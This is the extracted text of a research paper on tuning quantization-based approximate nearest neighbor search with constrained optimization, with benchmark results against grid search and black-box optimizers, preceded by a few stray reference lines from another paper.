+dispersion reduction using apodized uniform fiber Bragg 
+grating for optical MTDM transmission systems. Opt 
+Quant 
+Electron 55, 
+55 
+(2023). 
+https://doi.org/10.1007/s11082-022-04339-7 
+[56] 
+Abuzamak, M., & Kholidy, H. (2022). UAV Based 5G 
+Network: 
+A 
+Practical 
+Survey 
+Study. arXiv. https://doi.org/10.48550/arXiv.2212.13329 
+[57] 
+Abuzamak, M., & Kholidy, H. (2022). UAV Based 5G 
+Network: 
+A 
+Practical 
+Survey 
+Study. arXiv. https://doi.org/10.48550/arXiv.2212.13329 
+

59AzT4oBgHgl3EQfvP0x/content/tmp_files/2301.01702v1.pdf.txt

@@ -0,0 +1,1462 @@
+AUTOMATING NEAREST NEIGHBOR SEARCH CONFIG-
+URATION WITH CONSTRAINED OPTIMIZATION
+Philip Sun, Ruiqi Guo & Sanjiv Kumar
+Google Research
+New York, NY
+{sunphil,guorq,sanjivk}@google.com
+ABSTRACT
+The approximate nearest neighbor (ANN) search problem is fundamental to ef-
+ficiently serving many real-world machine learning applications. A number of
+techniques have been developed for ANN search that are efficient, accurate, and
+scalable. However, such techniques typically have a number of parameters that
+affect the speed-recall tradeoff, and exhibit poor performance when such parame-
+ters aren’t properly set. Tuning these parameters has traditionally been a manual
+process, demanding in-depth knowledge of the underlying search algorithm. This
+is becoming an increasingly unrealistic demand as ANN search grows in popu-
+larity. To tackle this obstacle to ANN adoption, this work proposes a constrained
+optimization-based approach to tuning quantization-based ANN algorithms. Our
+technique takes just a desired search cost or recall as input, and then generates
+tunings that, empirically, are very close to the speed-recall Pareto frontier and give
+leading performance on standard benchmarks.
+1
+INTRODUCTION
+Efficient nearest neighbor search is an integral part of approaches to numerous tasks in machine
+learning and information retrieval; it has been leveraged to effectively solve a number of challenges
+in recommender systems (Benzi et al., 2016; Cremonesi et al., 2010), coding theory (May & Ozerov,
+2015), multimodal search (Gfeller et al., 2017; Miech et al., 2021), and language modeling (Guu et al.,
+2020; Khandelwal et al., 2020; Kitaev et al., 2020). Vector search over the dense, high-dimensional
+embedding vectors generated from deep learning models has become especially important following
+the rapid rise in capabilities and performance of such models. Nearest neighbor search is also
+increasingly being used for assisting training tasks in machine learning (Lindgren et al., 2021; Yen
+et al., 2018).
+Formally, the nearest neighbor search problem is as follows: we are given an n-item dataset X ∈
+Rn×d composed of d-dimensional vectors, and a function for computing the distance between two
+vectors D : Rd × Rd �→ R. For a query vector q ∈ Rd, our goal is to find the indices of the k-nearest
+neighbors in the dataset to q:
+k-arg min
+i∈{1,...,n}
+D(q, Xi)
+Common choices of D include D(q, x) = −⟨q, x⟩ for maximum inner product search (MIPS)
+and D(q, x) = ∥q − x∥2
+2 for Euclidean distance search. A linear-time scan over X solves the
+nearest neighbor search problem but doesn’t scale to the large dataset sizes often found in modern-day
+applications, hence necessitating the development of approximate nearest neighbor (ANN) algorithms.
+A number of approaches to the ANN problem have been successful in trading off a small search
+accuracy loss, measured in result recall, for a correspondingly large increase in search speed (Aumüller
+et al., 2020). However, these approaches rely on tuning a number of hyperparameters that adjust the
+tradeoff between speed and recall, and poor hyperparameter choices may result in performance far
+below what could be achievable with ideal hyperparameter tuning. This tuning problem becomes
+especially difficult at the billions-scale, where the larger dataset size typically leads to a greater
+number of hyperparameters to tune. Existing approaches to tuning an ANN index, enumerated
+in Table 1, all suffer from some deficiency, such as using an excessive amount of computation
+1
+arXiv:2301.01702v1  [cs.LG]  4 Jan 2023
+
+Table 1: Our technique is the first to use minimal computational cost and human involvement to
+configure an ANN index to perform very close to its speed-recall Pareto frontier.
+Method
+Computational
+Cost of Tuning
+Human
+Involvement
+Hyperparameter
+Quality
+Grid search
+High
+Low
+High
+Manual tuning
+Low
+High
+Medium
+Black-box optimizer
+Medium
+Low
+Medium
+Ours
+Low
+Low
+High
+during the tuning process, necessitating extensive human-in-the-loop expertise, or giving suboptimal
+hyperparameters.
+Mitigating these issues is becoming increasingly important with the growth in dataset sizes and in
+the popularity of the ANN-based retrieval paradigm. This paper describes how highly performant
+ANN indices may be created and tuned with minimal configuration complexity to the end user. Our
+contributions are:
+• Deriving theoretically-grounded models for recall and search cost for quantization-based
+ANN algorithms, and presenting an efficient Lagrange multipliers-based technique for
+optimizing either of these metrics with respect to the other.
+• Showing that on millions-scale datasets, the tunings from our technique give almost identical
+performance to optimal hyperparameter settings found through exhaustive grid search.
+• Achieving superior performance on track 1 of the billions-scale big-ann-benchmarks
+datasets using tunings from our technique over tunings generated by a black-box optimizer
+on the same ANN index, and over all existing benchmark submissions.
+Our constrained optimization approach is very general and we anticipate it can be extended to distance
+measures, quantization algorithms, and search paradigms beyond those explored in this paper.
+2
+RELATED WORK
+2.1
+ANN ALGORITHMS
+Literature surrounding the ANN problem is extensive, and many solutions have been proposed,
+drawing inspiration from a number of different fields. Below we give a brief outline of three families
+of approaches that have found empirical success and continued research interest, with an emphasis
+on the hyperparameters necessitated by each approach. Other approaches to ANN include sampling-
+based algorithms (Liu et al., 2019) and a variety of geometric data structures (Bozkaya & Ozsoyoglu,
+1997; Ram & Gray, 2012); we refer readers to Bhatia & Vandana (2010); RezaAbbasifard et al.
+(2014); Wang et al. (2014; 2021) for more comprehensive surveys.
+Hashing approaches
+Techniques under this family utilize locality sensitive hash (LSH) functions,
+which are functions that hash vectors with the property that more similar vectors are more likely to
+collide in hash space (Andoni & Razenshteyn, 2015; Datar et al., 2004; Shrivastava & Li, 2014). By
+hashing the query and looking up the resulting hash buckets, we may expect to find vectors close to
+the query. Hashing algorithms are generally parameterized by the number and size of their hash tables.
+The random memory access patterns of LSH often lead to difficulties with efficient implementation,
+and the theory that prescribes hyperparameters for LSH-based search generally cannot consider
+dataset-specific idiosyncrasies that allow for faster search than otherwise guaranteed for worst-case
+inputs; see Appendix A.1 for further investigation.
+Graph approaches
+These algorithms compute a (potentially approximate) nearest neighbor graph
+on X, where each element of X becomes a graph vertex and has directed edges towards its nearest
+neighbors. The nearest neighbors to q are computed by starting at some vertex and traversing edges
+2
+
+to vertices closer to q. These algorithms are parameterized by graph construction details, such as the
+number of edges; any post-construction adjustments, such as improving vertex degree distribution
+and graph diameter (Fu et al., 2019; Iwasaki & Miyazaki, 2018; Malkov & Yashunin, 2020); and
+query-time parameters for beam search and selecting the initial set of nodes for traversal.
+Quantization approaches
+These algorithms create a compressed form of the dataset ˜
+X; at query
+time, they return the points whose quantized representations are closest to the query. Speedups are
+generally proportional to the reduction in dataset size. These reductions can be several orders of
+magnitude, although coarser quantizations lead to greater recall loss. Quantization techniques include
+VQ, where each datapoint is assigned to the closest element in a codebook C, and a number of
+multi-codebook quantization techniques, where the datapoint is approximated as some aggregate
+(concatenation, addition, or otherwise) of the codebook element it was assigned to per-codebook
+(Babenko & Lempitsky, 2015; Guo et al., 2020; Jégou et al., 2011). Quantization-based approaches
+generally must be tuned on codebook size and the number of codebooks.
+Growth in parameterization complexity with respect to dataset size
+While the above ap-
+proaches may only each introduce a few hyperparameters, many of the best-performing ANN
+algorithms layer multiple approaches, leading to a higher-dimensional hyperparameter space much
+more difficult to tune. For example, Chen et al. (2021) uses VQ, but also a graph-based approach to
+search over the VQ codebook. Other algorithms (Guo et al., 2020; Johnson et al., 2021), including
+what we discuss in this work, use VQ to perform a first-pass pruning over the dataset and then a
+multi-codebook quantization to compute more accurate distance estimates.
+2.2
+ANN HYPERPARAMETER TUNING
+Tuning in low-dimensional hyperparameter spaces may be effectively handled with grid search;
+however, quantization-based ANN algorithms with few hyperparameters scale poorly with dataset
+size, as shown in Appendix A.8. In higher-dimensional ANN hyperparameter spaces, where grid
+search is computationally intractable, there are two predominant approaches to the tuning problem,
+each with their drawbacks. The first is using heuristics to reduce the search space into one tractable
+with grid search, as in Criteo (2021) or Ren et al. (2020). These heuristics may perform well when set
+and adjusted by someone with expertise in the underlying ANN search algorithm implementation, but
+such supervision is often impractical or expensive; otherwise, these heuristics may lead to suboptimal
+hyperparameter choices.
+The second approach is to use black-box optimization techniques such as Bergstra et al. (2011)
+or Golovin et al. (2017) to select hyperparameters in the full-dimensionality tuning space. These
+algorithms, however, lack inductive biases from knowing the underlying ANN search problem and
+therefore may require a high number of samples before finding hyperparameter tunings that are
+near optimal. Measurement noise from variability in machine performance further compounds the
+challenges these black-box optimizers face.
+3
+PRELIMINARIES
+3.1
+LARGE-SCALE ONLINE APPROXIMATE NEAREST NEIGHBORS
+In this work we focus on the problem of tuning ANN algorithms for online search of large-scale
+datasets. In this scenario, the search algorithm must respond to an infinite stream of latency-sensitive
+queries arriving at roughly constant frequency. This setting is common in recommender and semantic
+systems where ANN speed directly contributes to the end-user experience. We are given a sample set
+of queries, representative of the overall query distribution, with which we can tune our data structure.
+Large dataset size makes the linear scaling of exact brute-force search impractical, so approximate
+search algorithms must be used instead. These algorithms may be evaluated along two axes:
+1. Accuracy: quantified by recall@k, where k is the desired number of neighbors. Sometimes
+the c-approximation ratio, the ratio of the approximate and the true nearest-neighbor distance,
+is used instead; we correlate between this metric and recall in Appendix A.1.
+2. Search cost: typically quantified by the queries per second (QPS) a given server can handle.
+3
+
+An effective ANN solution maximizes accuracy while minimizing search cost.
+3.2
+VECTOR QUANTIZATION (VQ)
+The ANN algorithm we tune uses a hierarchical quantization index composed of vector quantization
+(VQ) and product quantization (PQ) layers. We first give a brief review of VQ and PQ before
+describing how they are composed to produce a performant ANN search index.
+Vector-quantizing an input set of vectors X ∈ Rn×d, which we denote V Q(X), produces a codebook
+C ∈ Rc×d and codewords w ∈ {1, 2, . . . , c}n. Each element of X is quantized to the closest
+codebook element in C, and the quantization assignments are stored in w. The quantized form of the
+ith element of X can therefore be computed as ˜
+Xi = Cwi.
+VQ may be used for ANN by computing the closest codebook elements to the query
+S := k-arg min
+i∈{1,2,...,c}
+D(q, Ci)
+and returning indices of datapoints belonging to those codebook elements, {j|wj ∈ S}. This
+candidate set may also be further refined by higher-bitrate distance calculations to produce a final
+result set. In this manner, VQ can be interpreted as a pruning tree whose root stores C and has c
+children; the ith child contains the points {Xj|wj = i}; equivalently, this tree is an inverted index (or
+inverted file index, IVF) which maps each centroid to the datapoints belonging to the centroid.
+3.3
+PRODUCT QUANTIZATION (PQ)
+Product quantization divides the full d-dimensional vector space into K subspaces and quantizes
+each space separately. If we assume the subspaces are all equal in dimensionality, each covering
+l = ⌈d/K⌉ dimensions, then PQ gives K codebooks C(1), . . . , C(K) and K codeword vectors
+w(1), . . . , w(K), with C(k) ∈ Rck×l and w(k) ∈ {1, . . . , ci}n where ck is the number of centroids in
+subspace k. The ith element can be recovered as the concatenation of {C(k)
+w(k)
+i |k ∈ {1, . . . , K}}.
+For ANN search, VQ is generally performed with a large codebook whose size scales with n and
+whose size is significant relative to the size of the codewords. In contrast, PQ is generally performed
+with a constant, small ck that allows for fast in-register SIMD lookups for each codebook element,
+and its storage cost is dominated by the codeword size.
+3.4
+ANN SEARCH WITH MULTI-LEVEL QUANTIZATION
+VQ and PQ both produce fixed-bitrate encodings of the original dataset. However, in a generalization
+of Guo et al. (2020), we would like to allocate more bitrate to the vectors closer to the query, which
+we may achieve by using multiple quantization levels and using the lower-bitrate levels to select
+which portions of the higher-bitrate levels to evaluate.
+To generate these multiple levels, we start with the original dataset X and vector-quantize it, resulting
+in a smaller d-dimensional dataset of codewords C. We may recursively apply VQ to C for arbitrarily
+many levels. X and all C are product-quantized as well. As a concrete example, Figure 6 describes
+the five-quantization-level setups used in Section 5.2.
+This procedure results in a set of quantizations ˜
+X1, . . . , ˜
+Xm of progressively higher bitrate. Algorithm
+1 performs ANN using these quantizations and a length-m vector of search hyperparameters t, which
+controls how quickly the candidate set of neighbors is narrowed down while iterating through the
+quantization levels. Our goal is to find t that give excellent tradeoffs between search speed and recall.
+4
+METHOD
+The following sections derive proxy metrics for ANN recall and search latency as a function of
+the tuning t, and then describe a Lagrange multipliers-based approach to efficiently computing t to
+optimize for a given speed-recall tradeoff.
+4
+
+Algorithm 1 Quantization-Based ANN
+1: procedure QUANTIZEDSEARCH( ˜
+X, t, q)
+▷ Computes the tm nearest neighbors to q
+2:
+S0 ← {1, . . . , n}
+3:
+for i ← 1 to m do
+▷ Iterate over quantizations in ascending bitrate order
+4:
+Si ← ti-arg min
+j∈Si−1
+D(q, ˜X(i)
+j )
+▷ Narrow candidate set to ti elements, using ˜
+X (i)
+5:
+end for
+6:
+return Sm
+7: end procedure
+4.1
+PROXY LOSS FOR ANN RECALL
+For a given query set Q and hyperparameter tuning t, the recall may be computed by simply
+performing approximate search over Q and computing the recall empirically. However, such an
+approach has no underlying mathematical structure that permits efficient optimization over t. Below
+we approximate this empirical recall in a manner amenable to our constrained optimization approach.
+First fix the dataset X and all quantizations ˜
+X (i). Define functions S0(q, t), . . . , Sm(q, t) to denote
+the various S computed by Algorithm 1 for query q and tuning t, and let G(q) be the set of ground-
+truth nearest neighbors for q. Note our recall equals |Sm(q, t) ∩ G(q)|
+|G(q)|
+for a given query q and tuning
+t. We can decompose this into a telescoping product and multiply it among all queries in Q to derive
+the following expression for geometric-mean recall:
+GeometricMeanRecall(Q, t) =
+�
+q∈Q
+m
+�
+i=1
+� |Si(q, t) ∩ G(q)|
+|Si−1(q, t) ∩ G(q)|
+�1/|Q|
+,
+(1)
+where the telescoping decomposition takes advantage of the fact that |S0(q, t) ∩ G(q)| = |G(q)| due
+to S0 containing all datapoint indices. We choose the geometric mean, despite the arithmetic mean’s
+more frequent use in aggregating recall over a query set, because the geometric mean allows for the
+decomposition in log-space that we perform below. Note that the arithmetic mean is bounded from
+below by the geometric mean.
+Maximizing Equation 1 is equivalent to minimizing its negative logarithm:
+L(Q, t) = − 1
+|Q|
+�
+q∈Q
+m
+�
+i=1
+log
+|Si(q, t) ∩ G(q)|
+|Si−1(q, t) ∩ G(q)|
+=
+m
+�
+i=1
+Eq∈Q
+�
+− log
+|Si(q, t) ∩ G(q)|
+|Si−1(q, t) ∩ G(q)|
+�
+(2)
+Now we focus on the inner quantity inside the logarithm and how to compute it efficiently. The
+chief problem is that Si(q, t) has an implicit dependency on Si−1(q, t) because Si−1 is the candidate
+set from which we compute quantized distances using ˜
+X (i) in Algorithm 1. This results in Si(q, t)
+depending on all t1, . . . , ti and not just ti itself, making it difficult to efficiently evaluate. To resolve
+this, define the single-layer candidate set
+S′
+i(q, ti) = ti-arg min
+j∈{1,...,n}
+D(q, ˜
+X (i)
+j )
+(3)
+which computes the closest ti neighbors to q according to only ˜
+X (i), irrespective of other quantizations
+or their tuning settings. We leverage this definition by rewriting our cardinality ratio as
+|Si(q, t) ∩ G(q)|
+|Si−1(q, t) ∩ G(q)| =
+�
+g∈G(q) 1g∈Si(q,t)
+�
+g∈G(q) 1g∈Si−1(q,t)
+(4)
+5
+
+and making the approximation 1g∈Si(q,t) ≈ 1g∈Si−1(q,t)1g∈S′
+i(q,ti). This is roughly equivalent
+to assuming most near-neighbors to q are included in Si−1(q, t); see Appendix A.2 for further
+discussion. If we furthermore assume zero covariance1 between 1g∈Si−1(q,t) and 1g∈S′
+i(q,ti), then
+we can transform the sum of products into a product of sums:
+�
+g∈G(q)
+1g∈Si−1(q,t)1g∈S′
+i(q,ti) ≈
+�
+�
+1
+|G(q)|
+�
+g∈G(q)
+1g∈Si−1(q,t)
+�
+�
+�
+� �
+g∈G(q)
+1g∈S′
+i(q,ti)
+�
+� .
+Combining this result from Equations 2 and 4, our final loss function is �m
+i=1 Li(Q, ti), with the
+per-quantization loss Li defined as
+Li(Q, ti) = Eq∈Q
+�
+− log |S′
+i(q, ti) ∩ G(q)|
+|G(q)|
+�
+.
+(5)
+See Appendix A.4 for how Li may be efficiently computed over Q for all i ∈ {1, . . . , m}, ti ∈
+{1, . . . , n}, resulting in a matrix L ∈ Rm×n. This allows us to compute the loss for any tuning t by
+summing m elements from L.
+4.2
+PROXY METRIC FOR ANN SEARCH COST
+Similar to ANN recall, search cost may be directly measured empirically, but below we present a
+simple yet effective search cost proxy compatible with our Lagrange optimization method.
+Let | ˜
+X (i)| denote the storage footprint of ˜
+X (i). At quantization level i, for i < m, selecting the top
+top ti candidates necessarily implies that a ti/n proportion of ˜
+X (i+1) will need to be accessed in
+the next level. Meanwhile, ˜
+X (1) is always fully searched because it’s encountered at the beginning
+of the search process, where the algorithm has no prior on what points are closest to q. From these
+observations, we can model the cost of quantization-based ANN search with a tuning t as
+J(t) ≜
+1
+|X| ·
+�
+| ˜
+X (1)| +
+m−1
+�
+i=1
+ti
+n · | ˜
+X (i+1)|
+�
+.
+(6)
+J gives the ratio of memory accesses performed per-query when performing approximate search
+with tuning t to the number of memory accesses performed by exact brute-force search. This gives
+a good approximation to real-world search cost because memory bandwidth is the bottleneck for
+quantization-based ANN in the non-batched case. We emphasize that this cost model is effective for
+comparing amongst tunings for a quantization-based ANN index, which is sufficient for our purposes,
+but likely lacks the power to compare performance among completely different ANN approaches, like
+graph-based solutions. Differences in memory read size, memory request queue depth, amenability
+to vectorization, and numerous other characteristics have a large impact on overall performance but
+are not captured in this model. Our model is, however, compatible with query batching, which we
+discuss further in Appendix A.3.
+4.3
+CONVEXIFICATION OF THE LOSS
+We take the convex hull of each per-quantization loss Li before passing it into the constrained
+optimization procedure. This results in a better-behaved optimization result but is also justified from
+an ANN algorithm perspective. For any quantization level i, consider some two choices of ti that
+lead to loss and cost contributions of (l1, j1) and (l2, j2). Any (loss, cost) tuple on the line segment
+between these two points can be achieved via a randomized algorithm that picks between our two
+choices of ti with the appropriate weighting, which implies the entire convex hull is achievable.
+Empirically, we find that Li is extremely close to convex already, so this is more of a theoretical
+safeguard than a practical concern.
+1Note that Si ⊆ Si−1 so this is emphatically false for 1g∈Si−1(q,t) and 1g∈Si(q,t), but with 1g∈S′
+i(q,ti) we
+may reasonably assume little correlation with 1g∈Si−1(q,t).
+6
+
+4.4
+CONSTRAINED OPTIMIZATION
+Formally, our tuning problem of maximizing recall with a search cost limit Jmax can be phrased as
+arg min
+t∈[0,n]m
+m
+�
+i=1
+Li(ti)
+s.t.
+J(t) ≤ Jmax
+t1 ≥ . . . ≥ tm.
+The objective function is a sum of convex functions and therefore convex itself, while the constraints
+are linear and strictly feasible, so strong duality holds. We can therefore utilize the Lagrangian
+arg min
+t∈[0,n]m
+− λJ(t) +
+m
+�
+i=1
+Li(ti)
+s.t.
+t1 ≥ . . . ≥ tm.
+to find exact solutions to the constrained optimization, using λ to adjust the recall-cost tradeoff. We
+show in Appendix A.5 an algorithm that uses O(nm) preprocessing time to solve the minimization
+for a given value of λ in O(m log n) time.
+Furthermore, because the objective function is a sum of m functions, each a convex hull defined
+by n points, the Pareto frontier itself will be piecewise, composed of at most nm points. It follows
+then that there are at most nm relevant λ that result in different optimization results, namely those
+obtained by taking the consecutive differences among each Li and dividing by | ˜
+X (i+1)|/n|X|. By
+performing binary search among these candidate λ, we can find the minimum-cost tuning for a given
+loss target, or the minimum-loss tuning for a given cost constraint, in O(m log n log nm) time.
+In practice, even for very large datasets, m < 10, so this routine runs very quickly. The constrained
+optimizations used to generate the tunings in Section 5.2 ran in under one second on a Xeon W-2135;
+computation of L contributed marginally to the indexing runtime, described further in Appendex A.6.
+5
+EXPERIMENTS
+5.1
+MILLION-SCALE BENCHMARKS AND COMPARISON TO GRID SEARCH
+ 0
+ 2000
+ 4000
+ 6000
+ 8000
+ 10000
+ 12000
+ 0.86  0.88  0.9  0.92  0.94  0.96  0.98
+ 1
+Speed (Queries per Second)
+Accuracy (Recall@10)
+ScaNN + Optimal
+(Grid-Searched) Tunings
+ScaNN + Ours
+Figure 1: Our technique’s tunings compared
+to grid-searched tunings, applied to ScaNN
+on Glove1M.
+To see how closely our algorithm’s resulting hyperpa-
+rameter settings approach the true optimum, we com-
+pare its output to tunings found through grid search.
+We compare against the grid-searched parameters
+used by ScaNN (Guo et al., 2020) in its leading per-
+formance on the public Glove1M benchmark from
+Aumüller et al. (2020). As shown in Figure 1 be-
+low, our method’s tunings are almost exactly on the
+speed-recall frontier.
+While the resulting tunings are of roughly equivalent
+quality, grid search takes far longer to identify such
+tunings; it searched 210 configurations in 22 minutes.
+In comparison, on the same machine, our method
+took 53 seconds to compute L and run the constrained
+optimization to generate tunings.
+5.2
+BILLION-SCALE BENCHMARKS
+We now proceed to larger-scale datasets, where the tuning space grows significantly; the following
+benchmarks use a five-level quantization index (see Appendix A.6.1 for more details), resulting
+7
+
+ 0
+ 10000
+ 20000
+ 30000
+ 40000
+ 50000
+ 60000
+ 70000
+ 80000
+ 90000
+ 100000
+ 0.5
+ 0.55
+ 0.6
+ 0.65
+ 0.7
+ 0.75
+ 0.8
+Speed (Queries per Second)
+Accuracy (Recall@10)
+FAISS
+KST
+Puck
+Team 11
+Ours
+(a) DEEP1B
+ 0
+ 10000
+ 20000
+ 30000
+ 40000
+ 50000
+ 60000
+ 70000
+ 80000
+ 0.6
+ 0.65
+ 0.7
+ 0.75
+ 0.8
+ 0.85
+Speed (Queries per Second)
+Accuracy (Recall@10)
+FAISS
+KST
+Puck
+Team 11
+Ours
+(b) Microsoft Turing-ANNS
+ 0
+ 10000
+ 20000
+ 30000
+ 40000
+ 50000
+ 60000
+ 70000
+ 80000
+ 0.05
+ 0.1
+ 0.15
+ 0.2
+ 0.25
+ 0.3
+ 0.35
+ 0.4
+Speed (Queries per Second)
+Accuracy (Recall@10)
+FAISS
+Puck
+Ours
+(c) Yandex Text-to-Image
+Figure 2: Speed-recall tradeoffs of our tuning algorithm plus ANN search implementation, compared
+to others from track 1 of the standardized https://big-ann-benchmarks.com datasets.
+in a four-dimensional hyperparameter space. Even with very optimistic assumptions, this gives
+hundreds of thousands of tunings to grid search over, which is computationally intractable, so we
+compare to heuristic, hand-tuned, and black-box optimizer settings instead. Here we use our own
+implementation of a multi-level quantization ANN index, and benchmark on three datasets from
+big-ann-benchmarks.com (Simhadri et al., 2022), following the experimental setup stipulated
+by track 1 of the competition; see Appendix A.6 for more details. Our results are shown in Figure 2.
+We find that even in this much more complex hyperparameter space, our technique manages to find
+settings that make excellent speed-recall tradeoffs, resulting in leading performance on these datasets.
+5.2.1
+COMPARISON AGAINST BLACK-BOX OPTIMIZERS
+ 0
+ 10000
+ 20000
+ 30000
+ 40000
+ 50000
+ 60000
+ 70000
+ 80000
+ 90000
+ 100000
+ 0.5
+ 0.55
+ 0.6
+ 0.65
+ 0.7
+ 0.75
+ 0.8
+Speed (Queries per Second)
+Accuracy (Recall@10)
+Vizier Trials
+Ours
+Figure 3: On DEEP1B, our hyperparameter
+tunings achieve significantly better speed-
+recall tradeoffs than those found by Vizier.
+To see if black-box optimizers can effectively tune
+quantization-based ANN indices, we used Vizier
+(Golovin et al., 2017) to tune the same DEEP1B in-
+dex used above. Our Vizier setup involved an in-the-
+loop ANN index serving online requests, with Vizier
+generating candidate configurations, measuring their
+resulting recall and throughput, and then using those
+measurements to inform further candidate selections.
+We ran the Vizier study for 6 hours, during which it con-
+ducted over 1800 trials; their recall and performance
+measurements are plotted to the right in Figure 3.
+We can see that Vizier found several effective tunings
+close to the Pareto frontier of our technique, but then
+failed to interpolate or extrapolate from those tunings.
+Our technique not only generated better tunings, but
+did so using less compute; notably, the computation of
+statistics Li and the constrained optimization procedure
+were done with low-priority, preemptible, batch com-
+pute resources, while in contrast Vizier requires instances of online services in a carefully controlled
+environment in order to get realistic and low-variance throughput measurements.
+5.3
+RECALL AND COST MODEL ACCURACY
+We desire linear, predictable relationships between the modeled and the corresponding real-world
+values for both recall and search cost. This is important both so that the optimization can produce
+tunings that are effective in practice, and so that users can easily interpret and apply the results.
+In Figure 4, we take the DEEP1B hyperparameter tunings used above in Section 5.2 and plot their
+respective modeled recalls against empirical recall@10, and modeled search costs against measured
+reciprocal throughput. Recall was modeled as exp(− � Li) while J was simply used for cost.
+We can conclude from the square of their sample Pearson correlation coefficients (r2) that both
+relationships between analytical values and their empirical measurements are highly linear.
+8
+
+0.2
+0.3
+0.4
+0.5
+0.5
+0.6
+0.7
+0.8
+r2 = 99.7%
+Modeled Recall
+Empirical Recall@10
+0.2
+0.4
+0.6
+0.8
+0.1
+0.2
+0.3
+r2 = 99.8%
+Modeled Cost
+1 / Throughput (ms/query)
+Figure 4: Modeled costs and recalls have a highly linear relationship with their true values.
+5.4
+OUT-OF-SAMPLE QUERY PERFORMANCE
+Our hyperparameter tunings were optimized based
+on statistics calculated on a query sample Q, but
+in order to fulfill their purpose, these tunings must
+generalize and provide good performance and re-
+call on the overall query stream. We test gener-
+alization capability by randomly splitting the 104
+queries in the DEEP1B dataset into two equal-sized
+halves Q1 and Q2. Then we compare the result-
+ing Pareto frontiers of training on Q1 and testing
+on Q2 (out-of-sample), versus training and testing
+both on Q2 (in-sample). The resulting Pareto fron-
+tiers, shown in Figure 5, are near-indistinguishable
+and within the range of measurement error from
+machine performance fluctuations, indicating excel-
+lent generalization. Qualitatively, the in-sample and
+out-of-sample tuning parameters differ only very
+slightly, suggesting our optimization is robust.
+0.55
+0.60
+0.65
+0.70
+0.75
+0.80
+Recall@10
+5000
+10000
+15000
+20000
+25000
+30000
+Queries per Second
+In-Sample
+Out-of-Sample
+Figure 5: Speed-recall frontiers for tunings
+derived from in-sample and out-of-sample
+query sets on the DEEP1B dataset.
+5.5
+ADDITIONAL EXPERIMENTS
+In Appendix A.7 we analyze the effects of query sample size and find even a small (1000) query
+sample is sufficient to provide effective tuning results. Appendix A.8 shows that grid-searching
+a shallow quantization index (similar to what was done in Section 5.1) fails to perform well on
+billion-scale datasets.
+6
+CONCLUSION
+As adoption of nearest neighbor search increases, so does the importance of providing ANN frame-
+works capable of providing good performance even to non-experts unfamiliar with the inner details
+of ANN algorithms. We believe our work makes a significant step towards this goal by providing
+a theoretically grounded, computationally efficient, and empirically successful method for tuning
+quantization-based ANN algorithms. However, our tuning model still relies on the user to pick the
+VQ codebook size, because VQ indexing is a prerequisite needed to compute the statistics with which
+we generates tunings from. A model for how VQ codebook size impacts these statistics would allow
+for a completely hands-off, efficient, ANN solution. Additional work could refine the search cost
+model to more accurately reflect caches, account for network costs in distributed ANN solutions,
+and support alternative storage technologies such as flash. In general, we are also optimistic that the
+strategy of computing offline statistics from a query sample to model online ANN search behavior
+may generalize to non-quantization-based ANN algorithms as well.
+9
+
+ACKNOWLEDGMENTS
+We would like to thank David Applegate, Sara Ahmadian, and Aaron Archer for generously providing
+their expertise in the field of optimization.
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+12
+
+A
+APPENDIX
+A.1
+LSH GUARANTEES IN PRACTICE
+LSH based approaches to nearest neighbor search provide a number of rigorous guarantees regarding
+memory usage and query time complexity as a function of the approximation factor c, defined as
+follows: if the true nearest neighbor is a distance of d from the query, the approximate algorithm is
+considered to have succeeded if it returns a point whose distance to the query is at most cd.
+LSH algorithms are capable of prescribing hyperparameter settings (size and number of hash tables)
+to provide optimal worst-case performance for a given value of c. To see what these hyperparameter
+settings would imply for a given recall, we take a 90% recall@10 setting for Glove1M in Section 5.1
+and compute the resulting c for each query, giving us 104 ratios. In Table 2 below, we plot various
+statistics of these ratios and their implications for the resulting ANN hyperparameters, using the
+results from Andoni & Razenshteyn (2015):
+Table 2: Statistics on empirically measured c
+Statistic on c
+Value of c
+ρ = 1/(2c2 − 1)
+Space Complexity
+Estimated Space
+for Glove1M
+Mean
+1.00262
+0.98962
+O(n1.99 + nd)
+1.2TB
+Median
+1
+1
+O(n2 + nd)
+1.4TB
+75th Percentile
+1
+1
+O(n2 + nd)
+1.4TB
+90th Percentile
+1
+1
+O(n2 + nd)
+1.4TB
+99th Percentile
+1.07024
+0.77470
+O(n1.77 + nd)
+60GB
+We see that even if we take the 99th percentile c value, this leads to hash table hyperparameters that
+result in over 60GB of memory usage, under the conservative assumption that the constant factor for
+the n1.77 term is one byte. This is 128 times the size of the original dataset and already somewhat
+impractical; for billions-scale datasets, this would be completely intractible.
+While LSH may perform better in practice on this dataset than what the theory guarantees, and may
+not need such high memory consumption to reach this level of accuracy, such a result would imply
+that the hyperparameters for hashing-based ANN algorithms are difficult to tune and model, not
+unlike the hyperparemter-tuning challenges that other ANN algorithms face.
+A.2
+FACTORIZED RECALL ASSUMPTION
+Here we describe in detail the approximation 1g∈Si(q,t) ≈ 1g∈Si−1(q,t)1g∈S′
+i(q,ti) used to simplify
+Equation 4. The event g ∈ Si(q, t) is equivalent to requiring both g ∈ Si−1(q, t) and finding fewer
+than ti points closer to q than datapoint g according to quantization i, which we can express as:
+1g∈Si(q,t) = 1g∈Si−1(q,t)1
+�
+�
+�
+�
+j∈Si−1(q,t)
+1D(q, ˜
+X (i)
+j
+)<D(q, ˜
+X (i)
+g
+) < ti
+�
+�
+� .
+(7)
+Now define ˆSi−1(q, t) to be {1, . . . , n} \ Si−1(q, t), and consider some element j ∈ ˆSi−1(q, t). For
+the following section, we assume g ∈ Si−1(q, t), which implies D(q, ˜
+X (i−1)
+g
+) < D(q, ˜
+X (i−1)
+j
+). We
+split our analysis into two cases:
+1. j ̸∈ G(q); this is by far the common case, where quantization i − 1 correctly removed a
+non-nearest-neighbor from the candidate set. This means quantization i − 1 has already
+ranked the relative distances of j and g correctly; given that quantzation i is higher bitrate
+than i−1 and is therefore even less likely to mis-rank the relative distances, we know almost
+surely that D(q, ˜
+X (i)
+g ) < D(q, ˜
+X (i)
+j ).
+2. j ∈ G(q); quantization i − 1 has dropped a nearest neighbor. If we assume j and g
+are picked uniformly without replacement from G(q), then with the original dataset X,
+13
+
+P[D(q, Xg) < D(q, Xj)] = 1/2. However, at quantization ˜
+X (i), we approximate that
+P[D(q, ˜
+X (i)
+g ) < D(q, ˜
+X (i)
+j )] = 1 with the following justifications:
+• Given that D(q, ˜
+X (i−1)
+g
+) < D(q, ˜
+X (i−1)
+j
+), g is likely closer to q than j is, so the
+uniform sampling model used above for g and j leads to an underestimated probability.
